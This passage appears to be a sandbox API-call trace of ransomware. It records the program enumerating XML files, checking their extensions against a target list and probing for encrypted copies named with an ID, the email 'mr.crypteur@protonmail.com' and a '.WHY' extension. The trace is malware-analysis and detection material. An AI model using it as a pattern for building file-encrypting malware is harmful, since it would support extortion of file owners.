4 [0073.313] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0073.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0073.314] lstrlenW (lpString=".zip") returned 4 [0073.314] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0073.314] lstrlenW (lpString=".rar") returned 4 [0073.314] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0073.314] lstrlenW (lpString=".bz2") returned 4 [0073.314] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0073.314] lstrlenW (lpString=".7z") returned 3 [0073.314] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0073.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0073.314] lstrlenW (lpString=".dbf") returned 4 [0073.314] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0073.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0073.315] lstrlenW (lpString=".1cd") returned 4 [0073.315] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0073.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0073.315] lstrlenW (lpString=".jpg") returned 4 [0073.315] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0073.316] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0073.316] lstrlenW (lpString="ko-kr.xml") returned 9 [0073.316] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0073.316] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=15097) returned 1 [0073.317] CloseHandle (hObject=0x1a4) returned 1 [0073.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml")) returned 0x20 [0073.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0073.317] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0073.317] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0073.317] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0073.317] lstrlenW (lpString=".doc") returned 4 [0073.317] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0073.318] lstrlenW (lpString=".docx") returned 5 [0073.318] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0073.318] lstrlenW (lpString=".pdf") returned 4 [0073.318] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0073.318] lstrlenW (lpString=".xls") returned 4 [0073.318] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0073.318] lstrlenW (lpString=".xlsx") returned 5 [0073.318] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0073.318] lstrlenW (lpString=".ppt") returned 4 [0073.318] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0073.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0073.318] lstrlenW (lpString=".zip") returned 4 [0073.319] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0073.319] lstrlenW (lpString=".rar") returned 4 [0073.319] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0073.319] lstrlenW (lpString=".bz2") returned 4 [0073.319] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0073.319] lstrlenW (lpString=".7z") returned 3 [0073.319] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0073.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0073.319] lstrlenW (lpString=".dbf") returned 4 [0073.319] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0073.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0073.320] lstrlenW (lpString=".1cd") returned 4 [0073.320] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0073.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0073.320] lstrlenW (lpString=".jpg") returned 4 [0073.320] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0073.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0073.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0073.320] lstrlenW (lpString=".doc") returned 4 [0073.321] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0073.321] lstrlenW (lpString=".docx") returned 5 [0073.321] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0073.321] lstrlenW (lpString=".pdf") returned 4 [0073.322] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0073.322] lstrlenW (lpString=".xls") returned 4 [0073.322] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0073.322] lstrlenW (lpString=".xlsx") returned 5 [0073.322] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0073.322] lstrlenW (lpString=".ppt") returned 4 [0073.322] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0073.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0073.323] lstrlenW (lpString=".zip") returned 4 [0073.323] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0073.323] lstrlenW (lpString=".rar") returned 4 [0073.323] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0073.323] lstrlenW (lpString=".bz2") returned 4 [0073.323] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0073.323] lstrlenW (lpString=".7z") returned 3 [0073.323] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0073.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0073.324] lstrlenW (lpString=".dbf") returned 4 [0073.324] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0073.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0073.324] lstrlenW (lpString=".1cd") returned 4 [0073.324] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0073.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0073.324] lstrlenW (lpString=".jpg") returned 4 [0073.324] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0073.325] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0073.325] lstrlenW (lpString="zh-changjei.xml") returned 15 [0073.325] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0074.478] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=9803) returned 1 [0074.478] CloseHandle (hObject=0x210) returned 1 [0074.478] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml")) returned 0x20 [0074.478] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0074.478] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0074.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0074.480] lstrlenW (lpString=".doc") returned 4 [0074.480] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0074.480] lstrlenW (lpString=".docx") returned 5 [0074.480] lstrcmpiW (lpString1=".docx", lpString2="i.xml") returned -1 [0074.480] lstrlenW (lpString=".pdf") returned 4 [0074.480] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0074.480] lstrlenW (lpString=".xls") returned 4 [0074.480] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0074.480] lstrlenW (lpString=".xlsx") returned 5 [0074.480] lstrcmpiW (lpString1=".xlsx", lpString2="i.xml") returned -1 [0074.480] lstrlenW (lpString=".ppt") returned 4 [0074.480] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0074.481] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0074.481] lstrlenW (lpString=".zip") returned 4 [0074.481] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0074.481] lstrlenW (lpString=".rar") returned 4 [0074.481] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0074.481] lstrlenW (lpString=".bz2") returned 4 [0074.481] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0074.481] lstrlenW (lpString=".7z") returned 3 [0074.481] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0074.481] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0074.481] lstrlenW (lpString=".dbf") returned 4 [0074.481] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0074.481] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0074.481] lstrlenW (lpString=".1cd") returned 4 [0074.481] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0074.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0074.482] lstrlenW (lpString=".jpg") returned 4 [0074.482] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0074.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0074.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0074.482] lstrlenW (lpString=".doc") returned 4 [0074.482] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0074.482] lstrlenW (lpString=".docx") returned 5 [0074.482] lstrcmpiW (lpString1=".docx", lpString2="i.xml") returned -1 [0074.482] lstrlenW (lpString=".pdf") returned 4 [0074.482] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0074.482] lstrlenW (lpString=".xls") returned 4 [0074.482] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0074.483] lstrlenW (lpString=".xlsx") returned 5 [0074.483] lstrcmpiW (lpString1=".xlsx", lpString2="i.xml") returned -1 [0074.483] lstrlenW (lpString=".ppt") returned 4 [0074.483] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0074.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0074.483] lstrlenW (lpString=".zip") returned 4 [0074.483] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0074.483] lstrlenW (lpString=".rar") returned 4 [0074.483] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0074.483] lstrlenW (lpString=".bz2") returned 4 [0074.483] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0074.483] lstrlenW (lpString=".7z") returned 3 [0074.483] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0074.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0074.484] lstrlenW (lpString=".dbf") returned 4 [0074.484] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0074.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0074.484] lstrlenW (lpString=".1cd") returned 4 [0074.484] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0074.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0074.484] lstrlenW (lpString=".jpg") returned 4 [0074.484] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0074.485] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0074.485] lstrlenW (lpString="main.xml") returned 8 [0074.485] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0074.485] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=38485) returned 1 [0074.485] CloseHandle (hObject=0x210) returned 1 [0074.486] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml")) returned 0x20 [0074.486] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0074.486] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0074.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0074.486] lstrlenW (lpString=".doc") returned 4 [0074.486] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0074.486] lstrlenW (lpString=".docx") returned 5 [0074.486] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0074.486] lstrlenW (lpString=".pdf") returned 4 [0074.486] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0074.487] lstrlenW (lpString=".xls") returned 4 [0074.487] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0074.487] lstrlenW (lpString=".xlsx") returned 5 [0074.487] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0074.487] lstrlenW (lpString=".ppt") returned 4 [0074.487] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0074.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0074.487] lstrlenW (lpString=".zip") returned 4 [0074.487] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0074.487] lstrlenW (lpString=".rar") returned 4 [0074.487] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0074.487] lstrlenW (lpString=".bz2") returned 4 [0074.487] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0074.487] lstrlenW (lpString=".7z") returned 3 [0074.487] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0074.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0074.488] lstrlenW (lpString=".dbf") returned 4 [0074.488] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0074.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0074.488] lstrlenW (lpString=".1cd") returned 4 [0074.488] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0074.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0074.488] lstrlenW (lpString=".jpg") returned 4 [0074.488] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0074.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0074.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0074.488] lstrlenW (lpString=".doc") returned 4 [0074.488] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0074.488] lstrlenW (lpString=".docx") returned 5 [0074.489] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0074.489] lstrlenW (lpString=".pdf") returned 4 [0074.489] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0074.489] lstrlenW (lpString=".xls") returned 4 [0074.489] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0074.489] lstrlenW (lpString=".xlsx") returned 5 [0074.489] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0074.489] lstrlenW (lpString=".ppt") returned 4 [0074.489] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0074.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0074.489] lstrlenW (lpString=".zip") returned 4 [0074.489] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0074.489] lstrlenW (lpString=".rar") returned 4 [0074.490] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0074.490] lstrlenW (lpString=".bz2") returned 4 [0074.490] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0074.490] lstrlenW (lpString=".7z") returned 3 [0074.490] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0074.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0074.490] lstrlenW (lpString=".dbf") returned 4 [0074.490] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0074.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0074.490] lstrlenW (lpString=".1cd") returned 4 [0074.490] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0074.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0074.490] lstrlenW (lpString=".jpg") returned 4 [0074.490] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0074.491] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0074.491] lstrlenW (lpString="numbase.xml") returned 11 [0074.491] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0074.492] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=1218) returned 1 [0074.492] CloseHandle (hObject=0x210) returned 1 [0074.492] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml")) returned 0x20 [0074.492] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0074.492] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0074.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0074.493] lstrlenW (lpString=".doc") returned 4 [0074.493] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0074.493] lstrlenW (lpString=".docx") returned 5 [0074.493] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0074.493] lstrlenW (lpString=".pdf") returned 4 [0074.494] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0074.494] lstrlenW (lpString=".xls") returned 4 [0074.494] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0074.494] lstrlenW (lpString=".xlsx") returned 5 [0074.494] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0074.494] lstrlenW (lpString=".ppt") returned 4 [0074.494] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0074.494] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0074.494] lstrlenW (lpString=".zip") returned 4 [0074.494] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0074.494] lstrlenW (lpString=".rar") returned 4 [0074.494] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0074.494] lstrlenW (lpString=".bz2") returned 4 [0074.494] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0074.494] lstrlenW (lpString=".7z") returned 3 [0074.495] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0074.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0074.495] lstrlenW (lpString=".dbf") returned 4 [0074.495] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0074.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0074.495] lstrlenW (lpString=".1cd") returned 4 [0074.495] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0074.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0074.495] lstrlenW (lpString=".jpg") returned 4 [0074.495] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0074.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0074.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0074.495] lstrlenW (lpString=".doc") returned 4 [0074.496] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0074.496] lstrlenW (lpString=".docx") returned 5 [0074.496] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0074.496] lstrlenW (lpString=".pdf") returned 4 [0074.496] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0074.496] lstrlenW (lpString=".xls") returned 4 [0074.496] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0074.496] lstrlenW (lpString=".xlsx") returned 5 [0074.496] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0074.496] lstrlenW (lpString=".ppt") returned 4 [0074.496] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0074.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0074.496] lstrlenW (lpString=".zip") returned 4 [0074.496] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0074.496] lstrlenW (lpString=".rar") returned 4 [0074.497] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0074.497] lstrlenW (lpString=".bz2") returned 4 [0074.497] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0074.497] lstrlenW (lpString=".7z") returned 3 [0074.497] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0074.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0074.497] lstrlenW (lpString=".dbf") returned 4 [0074.497] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0074.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0074.497] lstrlenW (lpString=".1cd") returned 4 [0074.498] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0074.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0074.498] lstrlenW (lpString=".jpg") returned 4 [0074.498] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0074.499] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0074.499] lstrlenW (lpString="numbers.xml") returned 11 [0074.499] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0074.500] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=209) returned 1 [0074.501] CloseHandle 